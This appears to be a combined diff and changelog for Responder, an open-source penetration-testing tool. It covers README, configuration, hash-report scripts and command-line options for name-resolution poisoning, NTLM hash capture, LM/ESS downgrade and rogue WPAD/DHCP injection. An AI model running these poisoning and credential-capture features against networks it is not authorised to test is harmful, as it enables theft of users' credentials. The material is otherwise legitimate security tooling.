<small>[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4)</small>
### Added
- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx).
## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21
<small>[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3)</small>
### Fixed
- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx).
## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06
<small>[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2)</small>
### Added
- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx).
## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30
<small>[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1)</small>
### Added
- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx).
- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx).
- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx).
- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx).
- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx).
- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx).
- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx).
- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx).
- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx).
- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx).
- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx).
- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx).
- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx).
- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx).
- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx).
- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx).
- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx).
- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx).
- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx).
- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx).
- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx).
- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx).
- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx).
- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx).
- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx).
- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx).
### Fixed
- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx).
- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx).
- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx).
- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx).
- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx).
### Changed
- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx).
- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx).
- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni).
### Removed
- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx).

76
Contributors Normal file
View File

@@ -0,0 +1,76 @@
Commits | user
15 @jrmdev
7 @nobbd
6 @ValdikSS
6 @also-here
5 @HexPandaa
5 @exploide
5 @jvoisin
4 @Clément Notin
4 @Shutdown
4 @Yannick Méheut
3 @Hank Leininger
3 @brightio
3 @byt3bl33d3r
3 @myst404
3 @skelsec
2 @Alexandre ZANNI
2 @Crypt0-M3lon
2 @Laban Sköllermark
2 @Matthew Daley
2 @Pixis
2 @Rob Fuller
2 @ThePirateWhoSmellsOfSunflowers
2 @Vincent Yiu
2 @requin
1 @Andrii Nechytailov
1 @Antonio Herraiz
1 @Chris Maddalena
1 @Euan
1 @Garret Picchioni
1 @Gifts
1 @Gustaf Blomqvist
1 @Hubert Seiwert
1 @IMcPwn
1 @Jared Haight
1 @Jim Shaver
1 @Khiem Doan
1 @Leon Jacobs
1 @Lionel PRAT
1 @Markus
1 @MatToufoutu
1 @Matt
1 @Matt Andreko
1 @Matt Kelly
1 @Nikos Vassakis
1 @OJ
1 @Paul A
1 @Randy Ramos
1 @SAERXCIT
1 @Sagar-Jangam
1 @Sans23
1 @Sophie Brun
1 @Stephen Shkardoon
1 @Syntricks
1 @Timon Hackenjos
1 @Tom Aviv
1 @Ziga P
1 @cweedon
1 @deltronzero
1 @f3rn0s
1 @jackassplus
1 @jb
1 @kevintellier
1 @kitchung
1 @klemou
1 @lanjelot
1 @nickyb
1 @nodauf
1 @nop5L3D
1 @pixis
1 @ravenium
1 @soa
1 @steven
1 @thejosko
1 @trustedsec

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@@ -28,14 +28,20 @@ def GetResponderCompleteNTLMv2Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v2%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
if "$" in row[0]:
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output
def GetResponderCompleteNTLMv1Hash(cursor):
res = cursor.execute("SELECT fullhash FROM Responder WHERE type LIKE '%v1%' AND UPPER(user) in (SELECT DISTINCT UPPER(user) FROM Responder)")
Output = ""
for row in res.fetchall():
Output += '{0}'.format(row[0])+'\n'
if "$" in row[0]:
pass
else:
Output += '{0}'.format(row[0])+'\n'
return Output
cursor = DbConnect()

156
README.md
View File

@@ -1,6 +1,6 @@
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
## Intro ##
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
Responder is an LLMNR, NBT-NS and MDNS poisoner.
## Features ##
- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server.
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
@@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
This module allows to find the PDC in stealth mode.
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect
python tools/Icmp-Redirect.py
@@ -105,15 +101,32 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
- This tool is not meant to work on Windows.
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
- For macOS, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
```
launchctl bootout system /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
## Install ##
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
Using pipx
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
```bash
pipx install git+https://github.com/lgandx/Responder.git
```
Manual:
```bash
git clone https://github.com/lgandx/Responder
cd Responder/
python3 -m venv .
source bin/activate
python3 -m pip install netifaces
sudo python3 Responder.py
```
## Usage ##
@@ -125,57 +138,77 @@ Running the tool:
Typical Usage Example:
./Responder.py -I eth0 -rPv
./Responder.py -I eth0 -Pv
Options:
--version show program's version number and exit.
-h, --help show this help message and exit.
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use.
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: Off
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: Off
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
Off
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
Off
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be ON. This option is highly effective when combined
with -r. Default: Off
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: Off
--disable-ess Force ESS downgrade. Default: Off
-v, --verbose Increase verbosity.
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective. Default: False
-Q, --quiet Tell Responder to be quiet, disables a bunch of
printing from the poisoners. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
Value in hex (30 seconds = 1e). use '-t random' for
random TTL
-N ANSWERNAME, --AnswerName=ANSWERNAME
Specifies the canonical name returned by the LLMNR
poisoner in its Answer section. By default, the
answer's canonical name is the same as the query.
Changing this value is mainly useful when attempting
to perform Kerberos relaying over HTTP.
-E, --ErrorCode Changes the error code returned by the SMB server to
STATUS_LOGON_FAILURE. By default, the status is
STATUS_ACCESS_DENIED. Changing this value permits to
obtain WebDAV authentications from the poisoned
machines where the WebClient service is running.
## Donation ##
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
You can contribute to this project by donating to the following USDT or Bitcoin address:
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv
Or BTC address:
BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo
Paypal:
https://paypal.me/PythonResponder
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ##
@@ -199,11 +232,6 @@ We would like to thanks those major sponsors:
Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ##

View File

@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
@@ -61,6 +61,14 @@ def GetResponderCompleteHash(cursor):
for row in res.fetchall():
print('{0}'.format(row[0]))
def GetUniqueLookupsIP(cursor):
res = cursor.execute("SELECT Poisoner, SentToIp FROM Poisoned WHERE Poisoner in (SELECT DISTINCT UPPER(Poisoner) FROM Poisoned)")
for row in res.fetchall():
if 'fe80::' in row[1]:
pass
else:
print('Protocol: {0}, IP: {1}'.format(row[0], row[1]))
def GetUniqueLookups(cursor):
res = cursor.execute("SELECT * FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned) ORDER BY SentToIp, Poisoner")
for row in res.fetchall():
@@ -99,6 +107,8 @@ print(color("[+] Generating report...\n", code = 3, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor)
print(color("\n[+] Unique IP using legacy protocols:", code = 2, modifier = 1))
GetUniqueLookupsIP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
@@ -107,7 +117,7 @@ GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
print color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1)
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
cursor.close()
try:
cursor = FingerDbConnect()

View File

@@ -1,22 +1,30 @@
[Responder Core]
; Servers to start
SQL = On
SMB = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
; Poisoners to start
MDNS = On
LLMNR = On
NBTNS = On
; Custom challenge.
; Servers to start
SQL = On
SMB = On
QUIC = On
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
SNMP = On
MQTT = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
@@ -37,7 +45,7 @@ AnalyzeLog = Analyzer-Session.log
ResponderConfigDump = Config-Responder.log
; Specific IP Addresses to respond to (default = All)
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
RespondTo =
; Specific NBT-NS/LLMNR names to respond to (default = All)
@@ -46,13 +54,18 @@ RespondTo =
RespondToName =
; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
; Hosts with IPv4 and IPv6 addresses must have both addresses included to prevent responding.
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334
DontRespondTo =
; Specific NBT-NS/LLMNR names not to respond to (default = None)
; Example: DontRespondTo = NAC, IPS, IDS
; Example: DontRespondToName = NAC, IPS, IDS
DontRespondToName = ISATAP
; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
; Example: DontRespondToTLD = _dosvc, _blasvc, etc
DontRespondToTLD = _dosvc
; If set to On, we will stop answering further requests from a host
; if a hash has been previously captured for this host.
AutoIgnoreAfterSuccess = Off
@@ -62,8 +75,8 @@ AutoIgnoreAfterSuccess = Off
; This may break file serving and is useful only for hash capture
CaptureMultipleCredentials = On
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; If set to On, we will write to file all hashes captured from the same host.
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
; domain\popo, domain\zozo. Recommended value: On, capture everything.
CaptureMultipleHashFromSameHost = On

View File

@@ -14,6 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import asyncio
import optparse
import ssl
try:
@@ -25,25 +26,29 @@ from utils import *
import struct
banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
options, args = parser.parse_args()
if not os.geteuid() == 0:
@@ -53,6 +58,10 @@ elif options.OURIP == None and IsOsX() == True:
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
parser.print_help()
exit(-1)
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
exit(-1)
settings.init()
settings.Config.populate(options)
@@ -64,6 +73,8 @@ settings.Config.ExpandIPRanges()
#Create the DB, before we start Responder.
CreateResponderDb()
Have_IPv6 = settings.Config.IPv6
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self):
if OsInterfaceIsSupported():
@@ -73,10 +84,13 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
@@ -89,10 +103,13 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
TCPServer.server_bind(self)
@@ -105,10 +122,13 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
if Have_IPv6:
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
@@ -116,12 +136,20 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
